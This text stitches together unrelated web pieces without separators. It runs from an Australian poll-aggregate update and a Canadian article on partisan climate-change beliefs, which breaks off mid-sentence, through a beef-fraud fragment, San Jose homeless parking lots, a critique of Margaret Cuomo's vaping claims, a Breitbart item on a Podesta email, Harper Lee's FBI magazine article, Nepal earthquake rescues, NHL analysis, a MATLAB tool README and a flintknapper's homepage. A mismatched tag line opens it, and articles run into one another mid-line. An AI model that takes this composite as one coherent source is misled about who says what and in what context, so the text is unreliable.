Filed Under: canada, privacy, sms, third partyA paucity of new data last week caused Labor’s lead on the BludgerTrack poll aggregate to inflate further off the momentum established by the previous week’s post-budget blowout. It now moderates somewhat with the arrival of new numbers from Newspoll and Morgan, together with the always reliable Essential Research, although the first two recorded only minor changes on their previous polls and Essential actually moved in Labor’s favour. Both major parties are found to have lost ground on the primary vote, although Labor somewhat more so, and Palmer United has once again reached a new high. The biggest gain is for others, but it should be noted that this measure amounts to the residue after trend-based determinations are made for the four principal parties, which causes it to be rather volatile.
The 0.6% shift to the Coalition on two-party preferred produces a net change of two seats on the seat projection, with Labor losing one seat each in Victoria, Queensland and Western Australia, while gaining one in Tasmania on the back of a strong Morgan result. Of note in the state breakdowns are a substantial moderation of the swing in Queensland over the last few weeks, as a flood of bad data for the Coalition from April and early May washes out of the system, and a surge to Labor in South Australia. The latter in particular may well just be a statistical artifact, but it interestingly coincides with trouble for the Liberals at state level.
Newspoll has furnished BludgerTrack with new data for the leadership ratings, but the story here is similar to that on voting intention last week, with the latest shifts driven largely by the trend set in place by the post-budget polling. The changes on approval offer a muted reflection of this week’s more moderate numbers from Newspoll, but the lead to Bill Shorten as preferred prime minister has overshot the data points which have set the current trend in place, making it all but certain that it will reduce when the next new numbers are added.According to the latest evidence, Earth is hotter now than it has been in any of our lifetimes but Canadians are less concerned about climate change than they were a decade ago.
NASA says the last three years have each been the three hottest on record, and 16 of the 17 warmest years have occurred this century, according to the World Meteorological Organization. This winter, we've witnessed Arctic sea ice dwindle to record lows.
Yet, climate concern reached its "pinnacle" in Canada — outpacing all other worries, including the economy — around 2007 and has since waned, said Frank Graves, president of EKOS Research.
Economic anxieties came back to the fore in the wake of the "Great Recession" and continue to dominate, but that's not to say climate worries have disappeared. They still rank near the top of the list for most Canadians, although views on the topic vary widely.
People in Alberta and Saskatchewan, Graves said, are two to three times more likely than those in the rest of Canada to be skeptical of man-made climate change. But an even bigger division can be found — nationwide — along political lines.
More than half of Conservative supporters have consistently said they "don't believe all this talk about greenhouse gas emissions causing climate change" in EKOS polling. Outside the Conservative base, only about one in 10 Canadians say the same thing.
"(Conservatives) are literally five times as likely to be on what we maybe call politely the enviro-skeptic — or, maybe less politely, the climate-change denier — side of the equation," Graves said.
Data from a 2014 EKOS poll on climate change beliefs, by political affiliation. The research company says internal polling data from 2017 yielded nearly identical results. (EKOS)
So why have Canadians become relatively less worried about climate change as the indicators of a warming planet have become more and more extreme? And why do beliefs split so strongly along partisan lines?
Well, for one, it's not just climate change.
Similar divides exist on a range of issues, both in Canada and around the world. The phenomenon has been studied by psychologists, sociologists and political scientists and the growing body of literature suggests humans are simply wired to see the same things differently.
And, once we see something a particular way, it's hard to change our minds.
'Myside' bias
Many people are familiar with the term "confirmation bias," a phrase used to describe human beings' tendency to seek out evidence that confirms their existing beliefs.
Researchers also talk about "myside bias" to describe how people tend to evaluate claims that challenge their beliefs more stringently, while giving those that are consistent with their views the benefit of the doubt.
"We don't want to be overly challenged in terms of our belief systems and what we're doing, because it causes us to have an identity crisis," said Lianne Lefsrud, a professor at the University of Alberta who has studied climate change beliefs in the province's scientific community, specifically.
Back in 2007, she designed a detailed and open-ended survey that was completed by more than 1,000 members of the Association of Professional Engineers and Geoscientists of Alberta (APEGA).
More than 99 per cent of respondents agreed the climate was changing, but they disagreed on why — and Lefsrud found they fell roughly into three camps.
About a third of respondents believed humans' greenhouse gas emissions were the main cause, while another third was convinced the changing climate was primarily a natural phenomenon. The final third wasn't sure, but suggested it was likely some combination of man and nature, with neither being an overwhelming factor.
Are our carbon emissions the primary cause of climate change? Only 36.3 per cent of Alberta engineers and geoscientists surveyed in 2007 were convinced of that, according to a U of A study. (Mark Ralson/AFP/Getty Images)
Those working within government were most likely to believe in man-made climate change, at 45.2 per cent, while those working at the top level of the oil and gas industry were least likely, at 16.2 per cent.
Lefsrud said this was not a matter of simple denial; the views expressed in the survey were nuanced, informed and scientifically literate. Many respondents "had questions with regards to the degree of certainty associated with the modelling" in climate science, she said.
Indeed, the 2007 report from the Intergovernmental Panel on Climate Change (IPCC), which presented the strongest evidence to date of human-caused climate change, still used the phrase "very likely" — meaning more than 90 per cent certain — to qualify that assertion.
The language was upgraded to "extremely likely" in the 2014 IPCC report, meaning more than 95 per cent certainty.
Lefrsud said the views of engineers and geoscientists have likely changed since 2007 as well.
But outside of scientific circles, how much does new evidence actually change people's beliefs?
Not as much as you might think.
The 'backfire effect'
The desire to cling to one's beliefs can be so strong that being presented with evidence to the contrary can actually make people more convinced of something that's wrong, according to research from political scientists Brendan Nyhan and Jason Reifler.
A decade ago, they documented what they call the "backfire effect" in a study that tested popular — but false — beliefs among both conservatives and liberals in the United States.
The study found conservatives were more likely to believe Saddam Hussein had an active weapons of mass destruction program just prior to the 2003 invasion of Iraq, while liberals were more likely to believe then-U.S. president George W. Bush had banned stem-cell research.
Did Saddam Hussein have an arsenal of WMDs? Did George W. Bush ban stem cell research? The answer is no in both cases, but researchers found strident liberals and conservatives reluctant to change their beliefs, despite available evidence. (Nikola Solic/Associated Press and Anne-Christine Poujoulat/AFP/Getty)
What's more, the study found it "did not reduce overall misperceptions" when subjects were presented with information to counter their false beliefs.
In fact, it sometimes did the opposite.
Misconceptions actually grew among conservative subjects who were presented with information about how the U.S. ultimately found no active arsenal of chemical or biological weapons in Iraq.
"In other words, the correction backfired — conservatives who received a correction telling them that Iraq did not have WMD were more likely to believe that Iraq had WMD than those in the control condition," the researchers wrote.
On the stem-cell research "ban," by contrast, the correction was found to have a convincing effect "among centrists and individuals to the right of center, but fails to significantly reduce misperceptions among those to the left of center."
What drives what?
Coming back to Canadians' beliefs about climate change and the current debate around carbon pricing, all this raises a sort of chicken-and-egg question.
Do people's beliefs about climate change inform their views on carbon pricing?
Or do their views on carbon pricing drive their beliefs about climate change?
Brendan Frank isn't sure which comes first, but says the two issues are nearly impossible to separate in ordinary conversation.
As an Ottawa-based research analyst with Canada's Ecofiscal Commission — an independent, non-partisan research group devoted to pollution pricing in general — he admits he lives in bit of an "echo chamber" when it comes to both topics.
But while home in Calgary to visit family for the holidays, Frank went out of his way to speak with with dozens of Albertans about the province's new carbon tax. What he heard was in line with what most Albertans told CBC News last December as part of an in-depth look at the policy.
They don't like it.
To see how the carbon tax would affect Alberta families, CBC visited six different households that offer a cross-section of the population in mid-December, 2016. Most were opposed to the policy. (Robson Fletcher/CBC)
Frank said he had previously underestimated how deep-rooted the opposition in Alberta was and found it valuable to step out of his professional bubble.
He also had some advice for trying to bridge the divide when speaking to people with an opposing point of view.
"Listening is really, really important," he said.
"You should go into a conversation with the assumption that you have something to learn. Even though someone may disagree with you, try giving them the benefit of the doubt."
As a pollster, Graves said it will be fascinating to keep following climate change beliefs over the coming months, in the wake of the election of U.S. president Donald |
's been intelligence about it for a number of years, so there's nothing new about it.
"Quite a large amount of testing has been done, which has shown the scale of the problem.
"It's a bit like the horsemeat issue - it's fraud. Rather than one or two traders in Europe defrauding people, this is local and on a grander scale."
Prof Pennington said the beef would not be dangerous if it was from a reputable source and was cooked properly.
But he added: "It raises questions, not just about fraud, but also other issues. How good are their practices in the kitchen, if they're defrauding customers - how safe are they in other aspects?"
"So I think the local authorities, who are primarily responsible for regulation - although the Food Standards Agency has an overarching responsibility - have to come down on these premises hard."
He called for the premises to be identified to allow customers to make their own choices.SAN JOSE (KPIX 5) — Nearly 500 homeless people in Santa Clara County live in their cars. Now the city of San Jose is considering designated parking lots to give those folks a place to stay.
Butcher Park in West San Jose is part urban oasis, part RV park and a de facto safety of those living on the edge.
Companion Alida and Ronald’s social security and pensions add up to $2,800 a month, hardly enough to pay the sky high rent in area. So they bought an old RV and rough it on the streets of San Jose.
Butcher Park is perfect because it sits along a main road and borders a long stretch of apartments.
Ronald says the apartment renters don’t complain as much as homeowners. But they say the key is to not overstay your welcome.
They often up end in the parking lots of big box stores.
Every night in Santa Clara County, 500 people sleep in their cars. To some, it’s an eyesore. But to the city, it’s an opportunity.
“This is a great population to work with because it’s a population that we can help get stable faster,” said San Jose project manager Ray Bramson.
San Jose is now looking into converting city-owned land into temporary parking lots for up to 30 car campers, essentially a homeless drive-in with bathrooms, security and case managers. It’s part of a pilot program to build two parking lots that could hold up 15 cars each, but they need to get the funding first. It’s likely to cost around $400,000.
The city is looking to locate the parking lots where it’s not going to blind anyone and not cause too many problems for neighbors, but they also don’t want it to be too far away where people would waste time, money and gas to get to where they need to go.
Bramson says car campers can get around much easier and tend to have some income.
“It gives us a chance to bring them in, keep them safe while they’re in that transitional period, and then help them get back on their feet,” Bramson said.
The plan is in its earliest stages, and both mayoral candidates support it.
“If this helps keep people safe, in a place where they can get access to basic services, we should do it temporarily and move people into permanent housing as quickly as possible,” said mayoral candidate Sam Liccardo.
Mayoral candidate Dave Cortese echoed a similar idea. “We should do it some kind of public property, so it’s secure, so it’s not people hanging out in the neighborhood,” he said. “And I would only do that for a very, very short period of time.”
Alida says what she needs now is help, not judgement.
“I’m a decent, law abiding person, and I just need a chance to get into an apartment,” she said. ‘That’s all I want is a chance to get into an apartment.”Like most professional pundits, Margaret Cuomo has perfected the art of speaking authoritatively even when she does not know what she is talking about. Unlike most professional pundits, Cuomo is in a position to cause real damage. As a celebrity doctor spreading misinformation about the hazards of vaping, she is actively discouraging smokers from making a switch that could save their lives, thereby undermining her avowed goal of A World Without Cancer.
That's the title of a book that Cuomo, a radiologist who is the sister of New York Gov. Andrew Cuomo and CNN anchor Chris Cuomo (as well as the daughter of former Gov. Mario Cuomo), published in 2012. Given Cuomo's medical degree and her experience in diagnosing and writing about cancer, any layman unfamiliar with the subject would be inclined to believe her statement, in a Huffington Post video posted on March 14, that "e-cigarettes will raise your risk for lung cancer but also other cancers, like liver cancer." But as Boston University public health professor Michael Siegel (who is also a physician) was quick to point out, "there is absolutely no evidence to support this claim," which Cuomo retracted after The Daily Caller's Guy Bentley asked about it.
A new, hastily edited version of the video omits the cancer claim. Also gone: claims that tin has been detected in the aerosol produced by e-cigarettes and that vaping generates hazardous chemicals that are not found in tobacco smoke (which Siegel called "an outright lie"). But the corrected video still features a statement that sums up Cuomo's take on vaping. "Because of their chemical composition," Cuomo says as the video begins, "e-cigarettes are at least as harmful to your health as regular tobacco cigarettes are." A caption drives the point home: "They're not a safer cigarette."
How does Cuomo know that? She doesn't, because it's not true. E-cigarettes, unlike the conventional kind, do not contain tobacco and do not burn anything, so they do not generate the 7,000 or so chemicals found in cigarette smoke, which include hundreds that are toxic or carcinogenic. While a few of those worrisome substances have been detected in e-cigarette vapor, they are present at much lower levels. According to a 2013 analysis of 12 brands that was reported in the journal Tobacco Control, "The levels of potentially toxic compounds in e-cigarette vapour are 9–450-fold lower than those in the smoke from conventional cigarettes, and in many cases comparable with the trace amounts present in pharmaceutical preparations."
A 2015 report from Public Health England emphasized the enormous difference in risk between e-cigarettes and the real thing. "While vaping may not be 100% safe," it said, "most of the chemicals causing smoking-related disease are absent and the chemicals which are present pose limited danger. It has been previously estimated that [electronic cigarettes] are around 95% safer than smoking. This appears to remain a reasonable estimate."
Siegel thinks even that estimate, which means vapers face 5 percent the risk that smokers face, exaggerates the hazards of e-cigarettes. "Based on the evidence that's out there," he recently told The San Diego Union-Tribune, vaping is "much, much safer—orders of magnitude safer….My impression is that 5 percent is way too high. That would be about 20,000 deaths a year [if all smokers vaped instead], and I don't think that's feasible."
In short, there is no scientific basis for Cuomo's warning that "e-cigarettes are at least as harmful to your health as regular tobacco cigarettes are." Not surprisingly, she cites no evidence to support the claim, other than to mention four carcinogens (benzene, cadmium, nickel, and formaldehyde) that have been detected in e-cigarette vapor. She does not mention the tiny amounts involved, which are far lower than the amounts found in tobacco smoke (except in experiments that deliberately overheat vaporizers to produce unusually large amounts of formaldehyde), or that the list of problematic chemicals in tobacco smoke is much longer. Saying we know e-cigarettes are just as dangerous as tobacco cigarettes "because of their chemical composition" may sound scientific, but it's complete nonsense.
The Huffington Post amplified Cuomo's blatantly inaccurate warning with its original headline: "Doctor Explains Why E-Cigarettes Are Just As Dangerous As Tobacco Cigarettes." That headline can still be seen on the website, over a post that no longer includes the Cuomo video but does include a correction mentioning the three inaccurate statements that were excised from it. "There's a misconception that e-cigarettes may be a better alternative to tobacco cigarettes," the post says, "but according to Margaret Cuomo, the author of A World Without Cancer, the two are both dangerous." Even if two products are "dangerous," of course, one can still be much less dangerous than the other, as in this case.
The headline over the new version of the video is notably different from the original headline: "Why E-Cigarettes Are Dangerous to Your Health." That phrasing leaves open the possibility that e-cigarettes are nevertheless safer than conventional cigarettes—a possibility that Cuomo still denies in the opening line of the video. Her position in the original version could be ascribed to ignorance, which would be bad enough for someone presenting herself as an expert. But her decision to stick with it even after the error was called to her attention suggests something worse: either a deliberate attempt to mislead people or a desire to save face by pretending that her central thesis is still valid despite the misrepresentations she already has admitted.
The Internet is full of people saying demonstrably wrong things about all sorts of subjects, including e-cigarettes (as Michael Siegel doggedly documents on his tobacco policy blog). But as a medical professional engaged in public education (or, in this case, miseducation), Cuomo has a special obligation to get things right. By stubbornly insisting that vaping is just as dangerous as smoking, she does a potentially deadly disservice to smokers who may decide, based on her advice, that they have nothing to gain from switching.
This article originally appeared at Forbes.com.Glenn Thrush, the chief political correspondent for Politico, told John Podesta that he was a “hack” for sending an entire section of an article pertaining to Podesta for approval before publication. To conceal his lack of journalistic integrity, Thrush asks Podesta to “Please don’t share or tell anyone I did this.”
The exchange between Thrush and Podesta was revealed by Wikileaks (Podesta Email 12681). In the email, Thrush sends several paragraphs about Hillary’s fundraising operation and leads into the article by admitting, “Because I have become a hack I will send u the whole section that pertains to u.” After asking Podesta not to “share or tell anyone I did this,” Thrush seeks Podesta’s approval on the article by saying, “Tell me if I fucked up anything.”
Shortly afterward, Podesta replies to Thrush with his approval, saying on the record, “no problems here.”
The long article “Podesta signed off on” was published on May 1 and titled. “Hillary’s big-money dilemma: How the Clinton campaign’s go-small political message is butting up against 2016’s big bucks reality.” The article never directly quotes Podesta or makes mention that one of the authors had spoken with Podesta. Instead, it cites “people close to the campaign” for the information about Podesta that Podesta provided.
“Podesta, people close to the campaign say, supports the Cheng-led strategy of creating an army of small-to medium-scale campaign bundlers.”
The article was co-authored by Thrush and Anna Palmer. Ken Vogel was also credited as a contributor.
Dustin Stockton is a political reporter for Breitbart News, a community liaison for Gun Owners of America, and a political strategist. Follow him on Twitter @DustinStockton or Facebook.When representatives from the Texas Archive of the Moving Image (TAMI) went to collect home videos to digitize in Amarillo, they were excited to see some Texas family footage – maybe a barbecue or a birth or a child's first steps.
But they were even more excited when they stumbled upon a high-quality 16mm home movie of a pivotal point in the civil rights movement: the 1965 Selma, Ala. protest march.
Amarillo resident Joe Jeoffroy brought his father's 1960s home movie collection to TAMI's video roundup to get the films digitized, and he mentioned that one of the videos might contain his father's footage from Selma.
Jeoffroy brought in a lot of films, TAMI director Madeline Moya says, and he lugged them cannister by cannister up the stairs of an Amarillo library. The archivists were initially surprised by how high the quality of the film was.
"The cans were pretty heavy, so it took [Jeoffroy] multiple trips," Moya says. "But he must have been storing them in cool, dry conditions, because they were in really good shape."
Jeoffroy's father Ray, who owned a plow company in Amarillo, had taken most of the films. A lot of the footage was of plows and farms, and Moya says it was valuable, high-quality historical documentation of the Panhandle farming community.
But the fact that there was also historical, on-the-ground footage of a major American event was "really great," Moya says.
The vivid silent footage shows demonstrators gathering outside of Brown Chapel, which at the time was ground zero for Dr. Martin Luther King Jr.'s Southern Christian Leadership Conference, and departing for the march. You can see law enforcement gathering in full force as well. It appears also that Ray Jeoffroy filmed in Selma, went to Montgomery, filmed there, then came back to film in Selma again.
While Joe Jeoffroy himself wasn't sure which Selma march was captured in the video, archivists determined that the color footage was taken on March 21, 1965, at the third nonviolent demonstration march from Selma to Montgomery, Ala.
"We decided it was the final march because of the number of people there and the relative quiet on the street, it was very controlled with a lot of law enforcement vehicles present and everyone seemed to be cooperating," Moya says. Violence erupted at the first two marches, so by the third, law enforcement presence increased, which is evident in Jeoffroy's video.
Moya says that watching the video is a "refreshing" experience.
"A lot of these images are stirring – you see them in dramas such as Ava DuVernay’s Selma, and while I believe the film is excellent, there was a lot of dramatization. So it was great to just see footage of what it was like there on the ground with no bias, no dramatization."Editor's Note, April 29, 2016: The Grapevine has exclusively shared Harper Lee's unsigned feature with Smithsonian.com. Read it here.
It was big news last summer when Go Set a Watchman, a “lost” novel from beloved author Harper Lee, was published. That’s because for decades the writer of To Kill a Mockingbird claimed she would not publish again, and her death in February seemed to make that a certainty. But recently, Charles Shields found another overlooked piece of writing while updating his biography Mockingbird: a Portrait of Harper Lee.
According to Dalya Alberge at the Guardian, Shields found an unsigned feature article Lee published in the March 1960 issue of the Grapevine, a magazine for FBI employees. The story chronicles agent Alvin Dewey of the Kansas Bureau of Investigation, who solved the Clutter family murders, which Lee’s childhood friend Truman Capote immortalized in his book, In Cold Blood.
Shields tracked down the article after looking through Kansas newspapers during the period Lee spent helping Capote research his book. He uncovered a column in the Garden City Telegram mentioning that Lee was publishing an article about Dewey in the Grapevine, so he contacted the Grapevine offices.
“The editor was very excited,” he tells Jill Vejnoska of the Atlanta Journal Constitution. “She said, ‘This has been a rumor for years, that we once ran something by Harper Lee.’”
After receiving a copy of the article, Shields judged the piece well written, but hypothesized it probably had a deeper purpose for Lee and Capote, who were still researching the Clutter murders in Kansas. “It was meant to curry favor with the folks on the ground there, particularly with Alvin Dewey,” Shields tells Vejnoska. “They were putting stakes in the ground, making it clear ‘This is our turf.’”
The reason the piece had no byline, Shields believes, is that Lee did not want to step on Capote’s toes. “Harper Lee was so protective of Truman, the Clutter case was his gig,” says Shields. “She didn’t want to steal from him.”
The article has not yet been publicly released, but may be soon. “Usually we keep the Grapevine confidential to our membership,” Nancy Savage, executive director of the Virginia-based Society of Former Special Agents of the FBI tells Vejnoska. “But we’re trying to work something out where we could put [Lee’s article] on our public web site.”In the hours after the earthquake that struck Nepal on April 25, thousands of rescue teams from around the world were deployed to assist the Nepalese military in sorting through the rubble to search for survivors.
This can be a difficult task, since it can take many hours to safely dig survivors, often in need of immediate medical attention, out of the ruins. Although the death toll has surpassed 5,000, amid the devastation and tragedy are indications of how resilient life can be.
After spending 80 hours in the wreckage of a building on the outskirts of Kathmandu, Rishi Khanal was pulled out alive by a French search and rescue team. The team found him on Tuesday using specialized gear that detects signs of life – including listening devices and carbon dioxide detectors – where the rubble may be blocking victims from view. Khanal had been trying to get the attention of rescue workers for days.
It took an additional 10 hours for the team and police to dig him out, according to Pushparam K.C., a spokesman for the Armed Police Force of Nepal. The team chiseled through the concrete that trapped Khanal within the building and pulled him up through a hole before carrying him away on a stretcher. Khanal suffered a broken leg, according to Reuters.
What makes his survival so unusual is that after the first three days, the likelihood of finding survivors decreases significantly.
“I had some hope, but by yesterday I’d given up. My nails went all white and my lips cracked,” Khanal told the Guardian. “I was sure no one was coming for me. I was certain I was going to die.”
Survival is often dependent on air supply, availability of water, and the extent of injuries, according to Garrett Ingoglia, vice president of emergency programs at AmeriCares, which is sending an assessment team with medical supplies to Nepal.
"It seems he survived by sheer willpower," Akhilesh Shrestha, a doctor who treated Khanal, told Reuters.
To the southeast of Kathmandu in Bhaktapur, a 4-month-old baby was rescued after spending at least 22 hours in a collapsed building, according to Kathmandu Today. The infant, Sonit Awal, was discovered by a Nepalese military team who heard the child crying after inspecting the area and assuming there were no survivors. After an initial examination, Awal was determined to be in stable condition and does not have any internal injuries, CNN reported.
Meanwhile, rescues of a different sort were taking place on Mount Everest.
On the border between Nepal and its northern neighbor China, more than 100 people were attempting to scale Mount Everest, the world’s tallest and deadliest peak, when the earthquake hit. At least 19 people – including four Americans – were killed on Everest when a massive avalanche triggered by an earthquake slammed into hundreds of tents at base camp. At least 61 people were injured, the Washington Post reported.
The surviving climbers, who were stranded in two different camps both above 21,000 feet, have all been rescued. Small helicopters ferried the climbers down the mountain in groups of four or five. Landing on Everest long enough to pick up a passenger is dangerous even in favorable conditions, and helicopters could not touch down for more than 30 seconds to pick up passengers.
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The climbers, who were returned to base camp, are still at risk from aftershocks and many of the original inhabitants of the base camp have departed, leaving limited supplies.
“They’re coming back to a homeless situation,” Jon Kedrowski, a Colorado climber whose group remains at the base of Mount Everest, told KWGN-TV in Denver. “We’re here to offer our support, giving them meals, giving them a place to stay and coordinating efforts to basically start safely moving down the Khumbu.”It’s time to stop saying it – the "real Stanley Cup final" will not be held when the Kings play the Blackhawks, or whatever two teams meet in the Western Conference finals.
That was last season’s argument based on a dramatic quality imbalance between the two conferences. The West was Murderers’ Row. The east was Candyland.
But the West’s total dominance wasn’t going to last as this is the NHL in 2015, which is to say a league of salary cap produced parity. The quality spectrum is compact. The ceiling is close to the floor. Carcillo is employed by the Hawks. Rinaldo is playing in Philly. There is a general balance.
Still, the widely-peddled assessment remains that the West is far better than the East, but one would be hard pressed to find any player excited to face, for example, the team bringing up the rear in the Eastern Conference playoff race. (As of this writing, it’s the Bruins, who have lost in regulation only four times in their last 20 games.)
Head to head is the obvious place to start, and the West is 148-142 against the East, hardly spelling dominance.
Eight of the top 15 possession teams and seven of the luckiest 15 teams (in terms of PDO) are from the East. Nashville is lucky. So is Montreal. Detroit isn’t particularly lucky. San Jose’s bounces are mostly bad. Nothing in the underlying stats really says "superior" or "dumb luck" one way or another.
The goal differential is also close, especially when considering that just about any measure will be skewed by the exceptionally horrible Sabres, who, by the way, still managed to beat up on the "elite" Sharks twice this season.
On the other hand, if you base your decisions on arbitrary clickbait, even ESPN's Power Rankings have Eastern teams in nine of the twelve top twelve slots.
Part of the lingering perception that "The Big, Bad Western Conference Owns Little Brother East", as Bleacher Report put it, comes from accepting the changed storyline. Teams that were supposed to stink are exceeding expectations. Teams supposedly among the elite are underachieving. The West has won more games than the East every season this millennium, especially last year, so the power shift takes some getting used.
Many picked the Islanders, for example, to land in the postseason, but no one pegged them near the top of the conference in February. The Red Wings, after so many preseason obits, appear to be back from the grave, pushing for the East’s top spot. Naturally, it takes some convincing that either team is for real.
Conversely, the Sharks are, in theory, a great team, but they continually flub along for protracted stretches or do things like lose to Carolina and Buffalo. San Jose could simply be a mediocre team this season, which is easier to accept if one takes away past achievements and expectations. Similarly, this might be the year the Kings find themselves in tenth place in April. At that point, L.A. would be a tenth place team, not a borderline dynasty like they are still considered.
As the homestretch approaches and the pendulum swings, it’s a good time to assess the conferences. In the East, the playoff picture is pretty clear and there isn’t much room for debate on who's good and who isn’t. As of this writing, eight points separate the one seed from the eight seed, unlike the West, where 14 points separate the Ducks and Flames. That’s part of why the West is a little murkier.
The West
There are basically three groups in the West. Bad. Good. And still a mystery.
Bad
The Bad is the easiest group to identify, and the places to start with bad in the West are Edmonton and Arizona, which is all that really needs to be said there. Minnesota isn’t much more intimidating, though allegedly only needed something resembling an NHL goaltender to right the ship. Since arriving, Devan Dubnyk is 7-1 with a.938 save percentage and four shutouts. Still, it feels like a day late and a dollar short.
Dallas and Colorado are just behind the Wild in the standings and even more doomed. Yes, even Dallas. The Stars became a fashionable pick this fall mostly on the prospect of a Tyler Seguin-Jamie Benn-Jason Spezza superline tearing it up. And those three playing together is like candy. But quality teams need more than one amazing line, zero really good defensive pairings and zero good goalies. Kari Lehtonen’s save percentage is at.905. And people thought this team would be decent? Ay yi yi.
Calgary, or Colorado redux, is also bad, and the Cliff’s Notes on how the Flames’ story concludes is available in their advanced stats – 27th in possession, 6th in PDO. In other words, they have been lucky and can’t hold onto the puck. The winning ways won’t last, and for supporting evidence look no further than the postseason of the 2103-14 Avs, which similarly finished 27th in possession and third in PDO. And the Avs’ 2014-2015 story, of course, is an extension of last season’s playoffs, which saw the Wild knock them out first round.
Vancouver ranks among the best of the bad, but they are still bad. There doesn’t seem to be anything glaringly horrible about the team, but there’s nothing glaringly great, either. The top line is excellent, but does anyone beyond it score? Not much. Ryan Miller and Eddie Lack are solid. But prepared to carry the team? No. That defense? Well, it’s okay. Okay ….
Still a mystery
Winnipeg, San Jose, and L.A. are the NHL's hardest to figure out, but there's no more of a mystery than this season’s Sharks. The team’s current point total isn’t good enough to make the playoffs in the East, but it’s essentially the same roster that finished with 111 points last season in a far stronger Western Conference. They rank pretty low in luck, but rank pretty high in possession, so that means a late-season tear should start anytime now. But it didn’t start this weekend, when they fell in another cringer to Carolina.
Winnipeg is maybe, actually, sort of getting good. Michael Hutchinson has a strong 5v5 save percentage of.938 and the Jets’ possessions stats indicate something more sustainable is afoot than in Calgary, for example. But Winnipeg? The perennial snooze that held down the third spot in the Smythe Division for the better part of a decade? (Yes – different franchise. Both are boring.) The city may finally have a team drifting toward respectability, but it’ll take more than one sound season to remove it from its role as the poster child for mediocrity.
The last of the headscratchers are the Kings, who appear to be discovering that blasting through February and March and into the playoffs may not work this time around. The task is made even more difficult without guys like Willie Mitchell, Slava Vonyov or some reinforcements at the trade deadline. Still, they’re the best possession teams in the league, but are 3-5-2 in their last ten.
Good
The West’s top four – Chicago, St. Louis, Nashville, and Anaheim - is what makes it still look better than the East, because those four teams are arguably the best in the NHL. Moreover, Chicago and St. Louis appear to be the most complete teams from top to bottom and aren’t newcomers to elite status. Defensive depth, center depth, four lines, goalies, bench bosses, veterans, youth. The mixes are there. It’s seriously difficult to look at either teams’ roster and find a clear hint of what might spell postseason doom.
The common thought on Anaheim is that the team is incredibly lucky to be undefeated in one-goal games (in which they're 20-0-6) and the Ducks will wane when that luck runs out. But it's February, and they keep wining, and the only real question mark is what to do about the team being saddled with the postseason hex put on Bruce Boudreau.
Conventional wisdom forecasts a somewhat similar minor decline in Nashville based on the team having the league’s highest PDO, but, for now, life remains just fine for the Preds. Forward depth could be an issue, but the team is third overall in goals scored. And if Pekka Rinne continues to be 2014-2015 Pekka Rinne, the Predators could be hard to stop.
The East
The East, unlike the West, is split into only two camps: Good and Bad.
Bad
With maybe 26 rosters full of NHL-caliber players, the garbage is going to flow somewhere. It seems to have gathered in Buffalo.
Carolina, New Jersey, Philadelphia, Columbus, Ottawa and Toronto are also undeniably horrible, and there’s no point in exploring their situations much further, though Toronto’s annual collapse is even more gruesome than usual and worth a quick chuckle.
Florida is also fairly lousy, though not a raging dumpster fire like Toronto or Carolina., mostly because of Roberto Luongo and its youth. But the Panthers managed only three wins in their last ten, and appear to be slowly sinking the level everyone expected.
Good
All the playoff teams in the East are good.
Pittsburgh and the Islanders swapped spots atop the Metropolitan all season, but once again the Penguins are struggling due to being fourth overall in man games lost. There's no doubt penciling in Brandon Sutter as your first line center is bad news, but the Pens will be the Pens when the infirmary empties out.
The Islanders, unlike Nashville, aren’t finding success with more puck luck than every other team in the league. Instead, the additions of Nick Leddy and Johnny Boychuck made the Isles D jump from okay to respectable, and the team puts out four young lines that score.
Like the Islanders, the Red Wings are a huge surprise. They rank among the top teams in puck possession categories, have the best power play in the NHL, are fifth in goals against, and have a strong penalty kill. Even Mike Babcock says he’s surprised by the team’s success, but there’s nothing in the details suggesting Detroit is destined for a Colorado-style flame out. Babcock for Jack Adams? That’s crazy talk.
Tampa shares the lead in the East, surprising no one. Like Chicago and St. Louis, the holes in the Bolts’ lineup are few. Montreal, on the other hand, is luckier than most (second in the league in PDO, behind Nashville), and riding on Carey Price’s superhuman performances. But he continues to play that way and there’s a supporting cast in front of him potting enough pucks to make it work. For now.
The only team that was any sort of mystery in the east was Boston, who won just 11 of their first 25 games but pulled out of the tailspin to go 9-3-3 so far in 2015. Their return to form will likely to last and although this isn't last year's Bruins, it's still a heavyweight.
The last of the East’s playoff teams, the Rangers and Capitals, have similar trajectories – they started slow, caught fire, then slowed down a bit. The Rangers are allowing the third fewest goals per game. Holtby is all the sudden solid for the Caps, and both are scoring in bunches in recent months. Overtaking the Islanders and/or Pittsburgh isn’t out of the question for either.
And that’s the big difference between the two conferences. There are eight teams in the East one can look at and fear. Four in the West. But the jury is still out on many in the Pacific Division. Who is elite? Who isn’t? Is Dean Lombardi not really a genius? Is Detroit better than on-and-done? Answers will come this spring, but the full picture won't present itself until the Stanley Cup final.MotifCatcher is a MATLAB platform that seeks to extend the utility of
existing motif-finding programs by systematic inclusion/exclusion of input
sequence entries, and organization of results in a tree of motifs.
MotifCatcher works best when the user enters a moderate number of input sequences
(between about 20 and 200), of which the user expects some will contain a significant motif and some will not. An example data set might be a Chromatin Immunopreciptiation
experiment followed by microarray hybridization (ChIP-chip) experiment, in which
proteins could localize to particular segments of DNA due to either direct
DNA-protein contact (in which case, we may find a subsequence pattern) or
indirect protein-protein interactions (in which case, there will be no
subsequence pattern).
MotifCatcher utilized random sampling within a Monte Carlo framework to
define motifs for subsets of the whole dat aset. The default search style
coordinates iteratively between the MEME and MAST programs (please see
'Installation'). Plausible meaningful subsets of the whole
input data set are organized into a distance tree with help from the STAMP platform
(please see 'Installation') based on motif similarity.
MotifCatcher also has additional comparative analyses available, and a
GUI interface, which allows the user to conveniently visualize the data.
More information is available in the 'README' file.Welcome to my web site! I have been flintknapping since 1986. I guess one can say I’ve “caught the bug.” I grew up on a ranch in Southeastern Utah, which is rich in antiquities. Extensive exploration of the area fired my curiosity and gave me the inspiration to undertake flintknapping. I must admit I’ve had some great teachers with good information along the way; Dr. Bruce Bradley, Dr. Errett Callahan, Bob Patten, Gene Titmus, and of course the ancient masters who created the wonderful stone artifacts we admire today. I have worked locally for two contract archaeological firms, where I preformed survey, excavation and lithic analysis. Work experience, coupled with self study has resulted in an extensive knowledge of stone tools. Read about my recent research trip to Denmark. Over the years I have flintknapped a wide variety of beautiful stones and I appreciate them for what they are, although I am partial to the high quality variety of brown, gray, and tan flints. These earth tone rocks reveal the craftsmanship far better than flashy multicolored stones. When I look at a flint work I like to see the detail.
Read More
Greg Nunn – Paleo Technologies
HC 64 Box 2107
Castle Valley, Utah 84532
(435) 259-8607
